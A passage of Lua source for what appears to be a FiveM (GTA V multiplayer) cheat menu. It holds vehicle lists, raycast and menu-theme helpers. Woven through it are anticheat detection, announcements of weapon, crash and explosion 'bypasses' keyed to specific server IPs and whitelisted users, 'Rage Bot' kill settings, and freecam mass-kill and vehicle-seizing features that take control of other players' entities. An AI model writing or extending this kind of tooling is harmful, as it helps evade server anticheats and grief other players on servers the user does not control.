impaler4 lurcher moonbeam moonbeam2 nightshade phoenix picador ratloader ratloader2 ruiner ruiner2 ruiner3 ruiner4 sabregt sabregt2 slamvan slamvan2 slamvan3 slamvan4 slamvan5 slamvan6 tampa tampa2 tampa3 tulip tulip2 vamos vigero vigero2 virgo virgo2 virgo3 voodoo voodoo2 yosemite yosemite2 yosemite3]] ), Sedans = splitVehicleModelNames( [[asea asea2 asterope cognoscenti cognoscenti2 emperor emperor2 emperor3 fugitive glendale glendale2 ingot intruder premier primo primo2 regina schafter2 stafford stanier stratum stretch superd surge tailgater tailgater2 warrener washington]] ), SUVs = splitVehicleModelNames( [[baller baller2 baller3 baller4 baller5 baller6 baller7 cavalcade cavalcade2 dubsta dubsta2 dubsta3 fq2 granger granger2 habanero huntley landstalker landstalker2 mesa mesa2 mesa3 patriot patriot2 patriot3 radi rocoto seminole seminole2 serrano xls xls2]] ), Coupes = splitVehicleModelNames( [[cognoscenti exemplar f620 felon felon2 jackal oracle oracle2 sentinel sentinel2 windsor windsor2 zion zion2 zion3]] ), Compacts = splitVehicleModelNames( [[asbo blista blista2 brioso brioso2 brioso3 dilettante dilettante2 issi2 issi3 issi4 issi5 issi6 issi7 issi8 panto prairie rhapsody weevil weevil2]] ), ["Off-road"] = splitVehicleModelNames( [[bfinjection bifta blazer blazer2 blazer3 blazer4 blazer5 brawler caracara caracara2 dloader dubsta3 dune dune2 dune3 dune4 dune5 everon everon2 freecrawler hellion insurgent insurgent2 insurgent3 kalahari kamacho marshall mesa3 outlaw rancherxl rancherxl2 rebel rebel2 riata sandking sandking2 trophytruck trophytruck2 vagrant verus winky]] ), Motorcycles = splitVehicleModelNames( [[akuma avarus bagger bati bati2 carbonrs chimera cliffhanger daemon daemon2 defiler deathbike deathbike2 deathbike3 diablous diablous2 double enduro esskey faggio faggio2 faggio3 fcr fcr2 gargoyle hakuchou hakuchou2 hexer innovation lectro manchez manchez2 manchez3 nemesis nightblade oppressor oppressor2 pcj ratbike ruffian sanchez sanchez2 sanctus shotaro sovereign stryder thrust vader vindicator vortex wolfsbane zombiea zombieb]] ), Emergency = splitVehicleModelNames( [[ambulance fbi fbi2 firetruk lguard pbus pbus2 police police2 police3 police4 policeb policeold1 policeold2 policet polmav predator riot riot2 sheriff sheriff2]] ), Military = splitVehicleModelNames([[apc barrage chernobog halftrack khanjali menacer rhino thruster]]), Industrial = splitVehicleModelNames( [[benson biff hauler hauler2 mule mule2 mule3 mule4 mule5 packer phantom phantom2 phantom3 pounder pounder2 stockade stockade3]] ), Utility = splitVehicleModelNames( [[airtug caddy caddy2 caddy3 docktug forklift mower ripley sadler sadler2 scrap towtruck towtruck2 tractor tractor2 tractor3 utillitruck utillitruck2 utillitruck3]] ), Vans = splitVehicleModelNames( [[bison bison2 bison3 bobcatxl boxville boxville2 boxville3 boxville4 boxville5 burrito burrito2 burrito3 burrito4 burrito5 camper gburrito gburrito2 journey journey2 minivan minivan2 paradise pony pony2 rumpo rumpo2 rumpo3 speedo speedo2 speedo4 surfer surfer2 surfer3 youga youga2 youga3 youga4]] ), Service = splitVehicleModelNames( [[airbus brickade brickade2 bus coach pbus pbus2 rentalbus taxi tourbus trash trash2]] ), Commercial = splitVehicleModelNames([[benson biff mule mule2 mule3 mule4 mule5]]), Boats = splitVehicleModelNames( [[dinghy dinghy2 dinghy3 dinghy4 dinghy5 jetmax marquis patrolboat predator seashark seashark2 seashark3 speeder speeder2 squalo submersible submersible2 suntrap toro toro2 tropic tropic2 tug]] ), Helicopters = splitVehicleModelNames( [[akula annihilator annihilator2 buzzard buzzard2 cargobob cargobob2 cargobob3 cargobob4 conada frogger frogger2 havok hunter maverick polmav savage seasparrow seasparrow2 seasparrow3 skylift sparrow swift swift2 valkyrie valkyrie2 volatus]] ), Planes = splitVehicleModelNames( [[alkonost alpha alphaz1 avenger avenger2 besra bombushka cargoplane cargoplane2 cuban800 dodo howard hydra jet lazer luxor luxor2 mammatus microlight miljet mogul molotok nimbus nokota pyro rogue seabreeze shamal starling strikeforce titan tula velum velum2 vestra volatol]] ), Cycles = splitVehicleModelNames([[bmx cruiser fixter scorcher tribike tribike2 tribike3]]), ["Open Wheel"] = splitVehicleModelNames([[formula formula2 openwheel1 openwheel2]]), Trailers = splitVehicleModelNames( [[armytrailer armytrailer2 baletrailer boattrailer cablecar docktrailer graintrailer proptrailer raketrailer tr2 tr3 tr4 trailerlarge trailerlogs trailers trailers2 trailers3 trailers4 trailersmall trailersmall2 tvtrailer tvtrailer2]] ) } local filteredCategories, availableSet = {}, {} for index = 1, 792 do availableSet[stockVehicleModels[index]:lower()] = true end for categoryName, models in _ENV.pairs(categoryModels) do filteredCategories[categoryName] = {} for _, model in _ENV.ipairs(models) do if availableSet[model:lower()] then local displayName = model:sub(1, 1):upper() .. model:sub(2):lower() if model:match("^%d") then displayName = model:upper() end _ENV.table.insert(filteredCategories[categoryName], { model = model, display = displayName }) end end _ENV.table.sort(filteredCategories[categoryName], function(first, second) return first.display < second.display end) end menu.vars.vehicleCategories = filteredCategories return filteredCategories end function menuUtilities.getClosestPlayer() local closestServerId, closestDistance = nil, math.huge local playerPosition = GetEntityCoords(PlayerPedId()) local localServerId = GetPlayerServerId(PlayerId()) for _, playerId in ipairs(GetActivePlayers()) do local serverId = GetPlayerServerId(playerId) if serverId ~= localServerId then local distance = #(playerPosition - GetEntityCoords(GetPlayerPed(playerId))) if closestDistance > distance then closestDistance, closestServerId = distance, serverId end end end return closestServerId end function menuUtilities.getClosestOccupiedVehicle(origin, unusedParameter) local closestVehicle, closestDistance = nil, -1 for _, vehicle in ipairs(GetGamePool("CVehicle")) do if GetPedInVehicleSeat(vehicle, -1) ~= 0 then local distance = #(origin - GetEntityCoords(vehicle)) if closestDistance == -1 or closestDistance > distance then closestDistance, closestVehicle = distance, vehicle end end end return closestVehicle, closestDistance end function menuUtilities.detectAntiCheat(silent) local antiCheats = Ham.getAntiCheats() if Ham.hasResource("Putin") then table.insert(antiCheats, "Putin") end if Ham.hasResource("FeloxAC") then table.insert(antiCheats, "FeloxAC") end if not silent then local displayAntiCheats = menu.utils.isServer185169NearbyVehicleMode() and { "CustomAC" } or antiCheats menu.utils.notify( "Anticheat checker", "info", 7000, nil, menu.utils.buildAcDetectionNotifyExtras(displayAntiCheats) ) end return antiCheats end function menuUtilities.showStartupAntiCheatNotify() menu.vars.startupHudReady = true if menu.vars.startupAntiCheatNotifyShown then return end menu.vars.startupAntiCheatNotifyShown = true local antiCheats = menu.utils.getInjectAntiCheatDisplayNames() menu.utils.notify( "Anticheat checker", "info", 7000, nil, menu.utils.buildAcDetectionNotifyExtras(antiCheats) ) if menu.utils.isServer185169NearbyVehicleMode() then if Ham and Ham.setWeaponBypass then Ham.setWeaponBypass(false) end return end if menu.vars.antiCheats and menu.vars.antiCheats.FiveGuard then CreateThread(function() Wait(7100) menu.utils.notify("FiveGuard Weapon bypass loaded", "success", 5000) end) end if 0 < #antiCheats and menu.utils.getServerIp() == "185.229.207.5" then CreateThread(function() Wait(7100) menu.utils.notify("Server Crash Bypass loaded!", "success", 5000) end) end local username = Ham and Ham.getName and Ham.getName() or "" if username ~= "ZModz" and username ~= "amirocn" and username ~= "drmy" then return end local serverIp = menu.utils.getServerIp() if serverIp ~= "" and menu.utils.spawnExplosionWeaponByServer and menu.utils.spawnExplosionWeaponByServer[serverIp] then CreateThread(function() Wait(7100) menu.utils.notify("Explosion Bypass Loaded :)", "success", 5000) end) end end function menuUtilities.fetchRageBotTypes() return { "Kill" } end function menuUtilities.fetchRageBotBulletChoices() local endpoint = Ham and Ham.getServerEndpoint and Ham.getServerEndpoint() or "" if endpoint == "194.48.217.124" then return { "Pistol" } end return { "Safe Bullets", "Pistol" } end function menuUtilities.fetchRageBotCooldownKillChoices() return { "1", "2", "3", "5", "10", "Unlimited" } end function menuUtilities.fetchRageBotCooldownSecondChoices() return { "1", "2", "5", "10", "15", "30", "60" } end function menuUtilities.getPlayersIds() local request = Ham.httpGetAsync("https://" .. GetCurrentServerEndpoint() .. "/players.json", nil, true) while _G.runmenu do local result = Ham.getAsyncResult(request) if result.ready then if result.success and result.data then local success, players = pcall(json.decode, result.data) if success and players then local ids = {} for _, player in ipairs(players) do if player.id then table.insert(ids, player.id) end end return ids end end return {} end Wait(10) end end function menuUtilities.getVehicleFromRaycast(radius, options) options = options or {} local allowFallback = options.allowFallback ~= false local cameraPosition = GetFinalRenderedCamCoord() if not cameraPosition then return nil end local cameraRotation = GetFinalRenderedCamRot(2) if not cameraRotation then return nil end local direction = getCameraDirection(cameraRotation) local endpoint = cameraPosition + direction * 1000.0 local ignoredEntity = options.includeOwnVehicle and 0 or PlayerPedId() local ray = StartShapeTestRay( cameraPosition.x, cameraPosition.y, cameraPosition.z, endpoint.x, endpoint.y, endpoint.z, 511, ignoredEntity, 0 ) local status, hit, hitPosition, surfaceNormal, entity local deadline = GetGameTimer() + 150 repeat status, hit, hitPosition, surfaceNormal, entity = GetShapeTestResult(ray) if status == 1 then Wait(0) end until status ~= 1 or deadline <= GetGameTimer() if status ~= 2 or not hit or not hitPosition then return nil end local vehicle = nil if entity and entity ~= 0 and DoesEntityExist(entity) then if IsEntityAVehicle(entity) then vehicle = entity elseif not options.requireVehicleHit then local pedVehicle = GetVehiclePedIsIn(entity, false) if pedVehicle and pedVehicle ~= 0 then vehicle = pedVehicle end end end if vehicle then return vehicle end if not allowFallback then return nil end local nearestVehicle, bestDistance = nil, radius or 12.0 for _, candidate in pairs(GetGamePool("CVehicle")) do if DoesEntityExist(candidate) then local distance = #(hitPosition - GetEntityCoords(candidate)) if bestDistance > distance then bestDistance, nearestVehicle = distance, candidate end end end return nearestVehicle end function menuUtilities.getEntityFromRaycast() local cameraPosition = GetFinalRenderedCamCoord() if not cameraPosition then return nil end local cameraRotation = GetFinalRenderedCamRot(2) if not cameraRotation then return nil end local endpoint = cameraPosition + getCameraDirection(cameraRotation) * 1000.0 local ray = StartShapeTestRay( cameraPosition.x, cameraPosition.y, cameraPosition.z, endpoint.x, endpoint.y, endpoint.z, 511, PlayerPedId(), 0 ) local status, hit, hitPosition, surfaceNormal, entity local deadline = GetGameTimer() + 150 repeat status, hit, hitPosition, surfaceNormal, entity = GetShapeTestResult(ray) if status == 1 then Wait(0) end until status ~= 1 or deadline <= GetGameTimer() if status ~= 2 or not hit or not hitPosition then return nil end if entity and entity ~= 0 and DoesEntityExist(entity) then return entity end return nil end function menuUtilities.getCustomTabs() return { { name = "Objects", options = function() return menu.utils.getCustomObjectsOptions() end }, { name = "Vehicles", options = function() return menu.utils.getCustomVehiclesOptions() end }, { name = "Peds", options = function() return menu.utils.getCustomPedsOptions() end } } end local function buildCustomModelOptions( addName, addFunction, addDescription, sectionName, models, removeFunction, emptyName, removeDescription ) local options = { { name = addName, type = "button", func = addFunction, description = addDescription }, { name = "Clear List", type = "button", func = "clearCustom" .. sectionName, description = "Remove all custom " .. sectionName:lower() .. " from the list" }, { name = "Custom " .. sectionName, type = "seperator" } } models = models or {} for index = 1, #models, 1 do options[#options + 1] = { name = models[index], type = "button", func = removeFunction, funcArg = index, description = removeDescription } end if #models == 0 then options[#options + 1] = { name = emptyName, type = "button" } end return options end function menuUtilities.getCustomObjectsOptions() return buildCustomModelOptions( "Add Object", "addCustomObject", "Add a custom object model name (e.g. prop_crate)", "Objects", menu.vars.customObjects, "removeCustomObject", "No custom objects added", "Remove this object from the list" ) end function menuUtilities.getCustomVehiclesOptions() return buildCustomModelOptions( "Add Vehicle", "addCustomVehicle", "Add a custom vehicle model name (e.g. sultan)", "Vehicles", menu.vars.customVehicles, "removeCustomVehicle", "No custom vehicles added", "Remove this vehicle from the list" ) end function menuUtilities.getCustomPedsOptions() return buildCustomModelOptions( "Add Ped", "addCustomPed", "Add a custom ped model name (e.g. a_c_cow)", "Peds", menu.vars.customPeds, "removeCustomPed", "No custom peds added", "Remove this ped from the list" ) end function menuUtilities.getFreecamPriorityObjects() return { { name = "House", model = "xs_combined2_dyst_build_02a_09", spawnZOffset = 2.0 }, { name = "Big Tree", model = "test_tree_forest_trunk_fall_01" }, { name = "Silo", model = "xm_prop_x17_silo_01a", spawnZOffset = 1.5 }, { name = "Neon Sign", model = "xs_prop_arena_arrow_01a_sf" }, { name = "Marmor block", model = "xs_prop_ar_stand_thick_01a_sf" }, { name = "Container", model = "port_xr_contpod_01", freeze = true }, { name = "Jew egs", model = "xs_propint2_building_01" }, { name = "Palm", model = "prop_palm_fan_02_b" }, { name = "Trash Container", model = "prop_skip_06a" }, { name = "Arena Gate", model = "xs_prop_arena_gate_01a" }, { name = "damaged Caravan", model = "xs_prop_arena_car_wall_03a" }, { name = "Highway Sign", model = "cs2_roadsb_fwy_sgn_02_lod" }, { name = "Flatbed Trailer", model = "prop_lev_des_barge_02" }, { name = "Painted Tower", model = "xs_prop_arena_turret_01a" }, { name = "damaged Bridge", model = "xs_combined_dystopian_14_brdg02" }, { name = "Oil Factory", model = "xs_combined2_dyst_longbuild_b_09" }, { name = "Weed Plant", model = "bkr_prop_weed_lrg_01a" }, { name = "Tree", model = "prop_tree_cedar_03" }, { name = "Billboard", model = "prop_billboard_01" }, { name = "Light building", model = "xs_propint2_building_05b" }, { name = "Light Platform", model = "xs_propint2_platform_01", freeze = true }, { name = "Alien Area", model = "xs_propint2_building_02", freeze = true }, { name = "Alien Station", model = "xs_prop_arena_turret_01a_sf" }, { name = "Beer", model = "xs_prop_beer_bottle_wl" }, { name = "Cola", model = "xs_prop_can_wl" }, { name = "Big Plate", model = "xs_prop_lplate_01a_wl" }, { name = "Bend Plate", model = "xs_prop_lplate_bend_01a_wl" }, { name = "Blue ring", model = "m23_1_prop_m31_target_01a" }, { name = "CNT", model = "xs_prop_arena_turntable_02a" }, { name = "Fire arena", model = "xs_prop_arena_pit_fire_02a_wl" }, { name = "Garage Door", model = "apa_prop_ss1_mpint_garage2", freeze = true }, { name = "Mine", model = "xm_prop_x17_mine_03a", spawnZOffset = 0.75 } } end function menuUtilities.getFreecamBaseObjects() return { { name = "Light building", model = "xs_propint2_building_03" }, { name = "Goal Area", model = "xs_prop_arena_goal_sf" }, { name = "Numbers", model = "gr_prop_gr_target_large_01a" }, { name = "Raine", model = "ar_prop_ig_raine_cp_b" }, { name = "Broken rim", model = "xs_propint3_waste_03_tirerim" }, { name = "Plate area", model = "xs_propint3_set_waste_03_licencep" }, { name = "Light Platform", model = "xs_propint2_platform_03" }, { name = "Fire Goal", model = "xs_propint3_waste_05_goals" }, { name = "Tires", model = "xs_propint3_waste_03_tires" }, { name = "Bomb", model = "h4_prop_h4_mine_01a" }, { name = "Hamburger", model = "xm3_prop_hamburgher_wl" }, { name = "Platform", model = "xs_propint2_building_base_02" }, { name = "Light ring", model = "ar_prop_ar_speed_ring" }, { name = "Tower", model = "xs_prop_arena_tower_02a" }, { name = "4 Big Guys", model = "xs_propint4_waste_10_statues" }, { name = "Big Plates", model = "xs_prop_lplate_wall_01c_wl" }, { name = "KOS", model = "h4_prop_h4_sub_kos" }, { name = "Tube", model = "sr_prop_stunt_tube_xs_02a" }, { name = "Block", model = "xs_prop_arena_flipper_large_01a_sf" }, { name = "House", model = "sum_prop_ac_track_paddock_01" }, { name = "UFO", model = "xs_prop_ar_buildingx_01a_sf" } } end function menuUtilities.buildFreecamObjectList() local objects = {} for _, object in ipairs(menu.utils.getFreecamPriorityObjects()) do objects[#objects + 1] = object end for _, object in ipairs(menu.utils.getFreecamBaseObjects()) do objects[#objects + 1] = object end return objects end function menuUtilities.getFreecamObjectSpawnZOffset(model) if not model then return 0.0 end if model == "xs_prop_lplate_01a_wl" or model == "xs_prop_lplate_wall_01c_wl" or model == "xs_prop_lplate_bend_01a_wl" then return 2.5 end if model == "xm_prop_x17_mine_03a" then return 0.75 end if model == "xs_combined2_dyst_build_02a_09" then return 2.0 end for _, object in ipairs(menu.utils.getFreecamPriorityObjects()) do if object.model == model and object.spawnZOffset then return object.spawnZOffset end end for _, object in ipairs(menu.utils.getFreecamBaseObjects()) do if object.model == model and object.spawnZOffset then return object.spawnZOffset end end local freecamMenu = menu.vars.freecamMenu if freecamMenu and freecamMenu.objectList then for _, object in ipairs(freecamMenu.objectList) do if object.model == model and object.spawnZOffset then return object.spawnZOffset end end end if freecamMenu and freecamMenu.mapDestroyerList then for _, group in ipairs(freecamMenu.mapDestroyerList) do for _, groupModel in ipairs(group.objects or {}) do if groupModel == model and group.spawnZOffset then return group.spawnZOffset end end end end return 0.0 end function menuUtilities.refreshCustomSubmenu() if menu.vars.navigationStack then local stack = menu.vars.navigationStack if not (0 < #stack) then return end local node = stack[#stack] if not node then return end if node.title ~= "Spawn Custom" and node.title ~= "Spawn by Name" then return end node._activeTabs = nil end end function menuUtilities.getSortedThemeKeys(themeName) local keys = {} for themeKey in pairs(menu.themes[themeName] or {}) do table.insert(keys, themeKey) end table.sort(keys, function(first, second) local firstNumber = tonumber(first:match("%d+$")) or 0 local secondNumber = tonumber(second:match("%d+$")) or 0 if firstNumber ~= secondNumber then return firstNumber < secondNumber end return first < second end) return keys end function menuUtilities.hasAdminSubmenuAccess() return menu.vars.adminUsers and menu.vars.adminUsers[Ham.getName()] == true end function menuUtilities.canUseColorTheme(themeName) if themeName == "adminbanners" then return menu.utils.hasAdminSubmenuAccess() end return true end function menuUtilities.getColorThemeUIChoices() local choices = {} for index, themeName in ipairs(menu.vars.colorThemeNames or {}) do if menu.utils.canUseColorTheme(themeName) then choices[#choices + 1] = menu.vars.colorThemeNamesUI[index] end end return choices end function menuUtilities.getColorThemeDisplayName(themeName) if themeName == "grey" then return "Gray" end local names, displayNames = menu.vars.colorThemeNames or {}, menu.vars.colorThemeNamesUI or {} for index, name in ipairs(names) do if name == themeName then return displayNames[index] or name end end if not themeName or themeName == "" then return "Unknown" end return string.upper(string.sub(themeName, 1, 1)) .. string.sub(themeName, 2) end function menuUtilities.applyBannerMainThemeSelector(selection) if not selection then return end local themeName = string.lower(tostring(selection)) if themeName == "main" then menu.utils.refreshBannerSubmenu() return end if themeName == "gray" then themeName = "grey" end menu.functions.selectBannerColorTheme({ funcArg = themeName }) end function menuUtilities.refreshBannerSubmenu() if not menu.vars.navigationStack or not (0 < #menu.vars.navigationStack) then return end local node = menu.vars.navigationStack[#menu.vars.navigationStack] if not node or node.title ~= "Banner" then return end local absoluteIndex = (menu.vars.currentOption or 1) + (menu.vars.scrollOffset or 0) local scrollOffset = menu.vars.scrollOffset or 0 node._activeTabs = nil menu.logic.getActiveTabsForNode(node) local visibleOptions = menu.logic.getVisibleOptions(menu.logic.getNodeOptions(node)) if 0 < #visibleOptions then local firstSelectable = menu.logic.findFirstSelectableOption(visibleOptions) absoluteIndex = math.max(1, math.min(absoluteIndex, #visibleOptions)) local maxScroll = math.max(0, #visibleOptions - menu.vars.maxVisibleOptions) local newScroll = math.min(scrollOffset, maxScroll) local newOption = absoluteIndex - newScroll local maxPageOption = math.max(1, math.min(menu.vars.maxVisibleOptions, #visibleOptions - newScroll)) if newOption < 1 then newOption = 1 newScroll = math.max(0, absoluteIndex - newOption) elseif maxPageOption < newOption then newOption = maxPageOption newScroll = math.min(maxScroll, math.max(0, absoluteIndex - newOption)) end local selectedIndex = newOption + newScroll if selectedIndex < 1 or selectedIndex > #visibleOptions or menu.logic.isSeparator(visibleOptions[selectedIndex]) then newOption, newScroll = firstSelectable, 0 end menu.vars.currentOption, menu.vars.scrollOffset = newOption, newScroll return end menu.vars.currentOption, menu.vars.scrollOffset = 1, 0 end function menuUtilities.buildBannerColorOptions() local options, standardThemes = {}, { "red", "blue", "green", "purple", "grey" } if not menu.vars.selectors then menu.vars.selectors = {} end local choices = { "Main", "Red", "Blue", "Green", "Purple", "Gray" } local selectedTheme = menu.vars.selectors.bannerMainTheme or 1 if selectedTheme < 1 or selectedTheme > #choices then selectedTheme = 1 end menu.vars.selectors.bannerMainTheme = selectedTheme options[#options + 1] = { name = "Theme", type = "selector", var = "bannerMainTheme", choices = choices, onChangeFunc = "applyBannerMainThemeSelector", description = "Choose the main banner color theme" } local entries = {} if selectedTheme == 1 then for _, colorTheme in ipairs(standardThemes) do local keys = menu.utils.getSortedThemeKeys(colorTheme) local latest = keys[#keys] if latest then entries[#entries + 1] = { colorTheme = colorTheme, themeKey = latest, displayName = menu.utils.getColorThemeDisplayName(colorTheme) } end end else local colorTheme = standardThemes[selectedTheme - 1] or "blue" menu.vars.lastStandardColorTheme = colorTheme local keys = menu.utils.getSortedThemeKeys(colorTheme) local latest = keys[#keys] local excluded = colorTheme == "blue" and { blue1 = true, blue2 = true } or {} for _, themeKey in ipairs(keys) do if themeKey ~= latest and not excluded[themeKey] then entries[#entries + 1] = { colorTheme = colorTheme, themeKey = themeKey, displayName = menu.utils.getColorThemeDisplayName(colorTheme) .. " " .. tostring( #entries + 1 ) } end end end options[#options + 1] = { name = "Banner", type = "seperator" } for _, entry in ipairs(entries) do local theme = menu.themes[entry.colorTheme] and menu.themes[entry.colorTheme][entry.themeKey] local displayName = entry.displayName or theme and theme.name or entry.themeKey if menu.vars.currentColorTheme == entry.colorTheme and menu.vars.currentTheme == entry.themeKey then displayName = "> " .. displayName end options[#options + 1] = { name = displayName, type = "button", func = "selectBannerThemeByKey", funcArg = { themeKey = entry.themeKey, colorTheme = entry.colorTheme }, description = "Apply the " .. (theme and theme.name or entry.themeKey) .. " banner" } end return options end function menuUtilities.buildBannerCommunityOptions() local options = {} local labels = { fallout = "Fallout", brascowhite = "Brasco White", onepiece = "One Piece", bugsbunny = "Bugs Bunny", crazygreen = "Grass", scoobydoo = "Scooby Doo", darkspace = "Midnight", darkname = "Onyx", supermario = "Super Mario", ilovevanity = "I Love Vanity", duck = "Duck", greyflowers = "Grey Flowers", timgioh = "Timgioh", gleggmire = "Gleggmire", drachenlord = "Drachenlord", western = "Western", deathnote = "Death Note", bullets = "Bullets", gengar = "Gengar", greenflowers = "Green Flowers", purplematrix = "Purple Matrix", vanitat = "Vanitat", ufo = "Ufo", bernd = "Bernd", salt = "Salt", masha = "Masha", ghost = "Ghost", anime = "Anime", black = "Black" } local sortOrders = { fallout = 1, brascowhite = 2, onepiece = 3, bugsbunny = 6, crazygreen = 7, scoobydoo = 8, darkspace = 9, darkname = 10 } local entries = {} for _, themeKey in ipairs(menu.utils.getSortedThemeKeys("community")) do local theme = menu.themes.community and menu.themes.community[themeKey] entries[#entries + 1] = { themeKey = themeKey, label = labels[themeKey] or theme and theme.name or themeKey, originalLabel = theme and theme.name or themeKey, sortOrder = sortOrders[themeKey] or 999 } end table.sort(entries, function(first, second) if first.sortOrder ~= second.sortOrder then return first.sortOrder < second.sortOrder end local firstLabel, secondLabel = string.lower(tostring(first.label or "")), string.lower(tostring(second.label or "")) if firstLabel == secondLabel then return tostring(first.themeKey or "") < tostring(second.themeKey or "") end return firstLabel < secondLabel end) for _, entry in ipairs(entries) do local displayName = entry.label if menu.vars.currentColorTheme == "community" and menu.vars.currentTheme == entry.themeKey then displayName = "> " .. displayName end options[#options + 1] = { name = displayName, type = "button", func = "selectCommunityBannerTheme", funcArg = entry.themeKey, rightText = "by " .. tostring(entry.originalLabel), rightTextColor = { 150, 150, 150, 255 }, rightTextFontSize = 14, textRightPadding = 120, description = "Apply the " .. tostring(entry.label) .. " community menu" } end return options end menuUtilities.freecamMassKillOptionName = "Mass kill" menuUtilities.freecamFightPartyOptionName = "Fight Party" menuUtilities.freecamPunchEveryoneOptionName = "Punch Everyone" menuUtilities.freecamFightPartyRadius = 10.0 menuUtilities.freecamMassKillRadiusLevels = { 10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 200, 300, 400, 500, 600, 700, 800, 900, 1000 } menuUtilities.freecamMassKillDamagePerHit = 20 menuUtilities.freecamMassKillTotalDamage = 200 menuUtilities.freecamMassKillHitIntervalMs = 20 menuUtilities.freecamLaunchOptionName = "Launch" menuUtilities.freecamPickUpVehicleOptionName = "Bring Vehicle" menuUtilities.freecamPickUpVehicleMaxDistance = 500.0 function menuUtilities.getFreecamMassKillRadiusIndexDefault() return 1 end function menuUtilities.getFreecamMassKillRadius(state) local levels = menu.utils.freecamMassKillRadiusLevels local index = state and state.selectedMassKillRadiusIndex or menu.vars.freecamLastMassKillRadiusIndex or menu.utils.getFreecamMassKillRadiusIndexDefault() index = math.max(1, math.min(index, #levels)) return levels[index] end function menuUtilities.formatFreecamMassKillRadiusValue(radius) return tostring(math.floor(radius + 0.5)) .. "m" end function menuUtilities.shiftFreecamMassKillRadiusIndex(state, direction) if not state then return end local levels = menu.utils.freecamMassKillRadiusLevels local index = (state.selectedMassKillRadiusIndex or menu.utils.getFreecamMassKillRadiusIndexDefault()) + direction if index < 1 then index = #levels elseif index > #levels then index = 1 end state.selectedMassKillRadiusIndex = index menu.vars.freecamLastMassKillRadiusIndex = index end menuUtilities.freecamPlayerOptionChoiceSep = " > " menuUtilities.freecamPlayerOptionExcludeNames = { Spectate = true, ["Teleport To"] = true, Friend = true, ["Copy Outfit"] = true, Blame = true, ["Knock Out"] = true, ["Map Teleport"] = true, Falling = true, ["Vehicle rain"] = true, Blackhole = true, ["Teleport to me (Local)"] = true } function menuUtilities.cloneFreecamPlayerOptionDef(option) local copy = {} for field, value in pairs(option) do copy[field] = value end return copy end function menuUtilities.applyFreecamPlayerOptionDefFilters(option) if option.name == "Launch" then option.type = "button" option.func = "launchPlayerTwo" option.choices = nil option.var = nil end return option end function menuUtilities.refreshFreecamPlayerTargetInfo(targetInfo) if not targetInfo then return menu.utils.getFreecamLocalPlayerTarget() end local playerId = targetInfo.playerId if (not playerId or playerId == -1) and targetInfo.serverId then playerId = GetPlayerFromServerId(targetInfo.serverId) end if playerId and playerId ~= -1 and NetworkIsPlayerActive(playerId) then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) then return { serverId = targetInfo.serverId or GetPlayerServerId(playerId), playerId = playerId, ped = ped } end end local ped = tonumber(targetInfo.ped) if ped and ped ~= 0 and DoesEntityExist(ped) then return { serverId = targetInfo.serverId, playerId = targetInfo.playerId, ped = ped } end return menu.utils.getFreecamLocalPlayerTarget() end function menuUtilities.isFreecamPlayerOptionActionable(option) if not option or not option.name then return false end if option.type == "seperator" or option.type == "separator" then return false end return option.type == "button" or option.type == "selector" or option.type == "toggleIndiv" or option.type == "selectorToggle" end function menuUtilities.getFreecamOnlineAdvancedTabOptions() if menu.vars._originalPlayerTabOptions and menu.vars._originalPlayerTabOptions.Advanced then return menu.vars._originalPlayerTabOptions.Advanced end for _, tab in ipairs(menu.config.tabs or {}) do if tab.name == "Main" and tab.options then for _, option in ipairs(tab.options) do if option.name == "Online Options" and option.tabs then for _, subtab in ipairs(option.tabs) do if subtab.name == "Advanced" and subtab.options then return subtab.options end end end end end end return {} end function menuUtilities.getFreecamPlayerOptionDefs() local options, seenNames = {}, {} local function appendOption(option) if not menu.utils.isFreecamPlayerOptionActionable(option) then return end if seenNames[option.name] or menu.utils.freecamPlayerOptionExcludeNames[option.name] then return end if option.condition and not option.condition() then return end seenNames[option.name] = true options[#options + 1] = menu.utils.applyFreecamPlayerOptionDefFilters(menu.utils.cloneFreecamPlayerOptionDef(option)) end for _, option in ipairs(menu.config.playerSubmenuTemplate or {}) do appendOption(option) end for _, option in ipairs(menu.utils.getFreecamOnlineAdvancedTabOptions()) do appendOption(option) end return options end function menuUtilities.insertFreecamPlayerOptions(options) local insertionIndex = #options + 1 for index, option in ipairs(options) do if option == "Teleport" then insertionIndex = index break end end table.insert(options, insertionIndex, menu.utils.freecamLaunchOptionName) end function menuUtilities.insertFreecamPickUpVehicleOption(options) local insertionIndex = #options + 1 for index, option in ipairs(options) do if option == "Look Around" then insertionIndex = index + 1 break end end table.insert(options, insertionIndex, menu.utils.freecamPickUpVehicleOptionName) end function menuUtilities.findFreecamNearestVehicle(center, radius, excludedVehicle) if not radius then radius = menu.utils.freecamPickUpVehicleMaxDistance or 500.0 end if not center then return nil end local nearest, bestDistance = nil, radius + 1.0 local bicycleHash, bikeHash = GetHashKey("bmx"), GetHashKey("bf400") for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if vehicle ~= excludedVehicle and DoesEntityExist(vehicle) then local isPreview = menu.utils.isMenuVehiclePreviewEntity and menu.utils.isMenuVehiclePreviewEntity(vehicle) if not isPreview then local model = GetEntityModel(vehicle) if model and model ~= 0 and IsThisModelACar(model) and not IsThisModelABike(model) and model ~= bicycleHash and model ~= bikeHash then local distance = #(center - GetEntityCoords(vehicle)) if radius >= distance and bestDistance > distance then nearest, bestDistance = vehicle, distance end end end end end return nearest, bestDistance end function menuUtilities.requestFreecamEntityControl(entity, timeout) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end if not NetworkGetEntityIsNetworked(entity) then NetworkRegisterEntityAsNetworked(entity) end local deadline = GetGameTimer() + (timeout or 750) while not NetworkHasControlOfEntity(entity) and deadline > GetGameTimer() do NetworkRequestControlOfEntity(entity) Citizen.Wait(0) end return NetworkHasControlOfEntity(entity) end function menuUtilities.executeFreecamPickUpVehicle(freecamMenu) if not _G.freecamVehicleInteractionTimer then _G.freecamVehicleInteractionTimer = GetGameTimer() + 1000 elseif GetGameTimer() <= _G.freecamVehicleInteractionTimer then return else _G.freecamVehicleInteractionTimer = nil end Citizen.CreateThread(function() local playerPed = PlayerPedId() if not playerPed or playerPed == 0 then return end local playerPosition = GetEntityCoords(playerPed) local currentVehicle = GetVehiclePedIsIn(playerPed, false) if currentVehicle == 0 then currentVehicle = nil end local vehicle = menu.utils.findFreecamNearestVehicle( playerPosition, menu.utils.freecamPickUpVehicleMaxDistance, currentVehicle ) if not vehicle or not DoesEntityExist(vehicle) then menu.utils.notify("No vehicle found nearby.", "info", 2500) return end if not 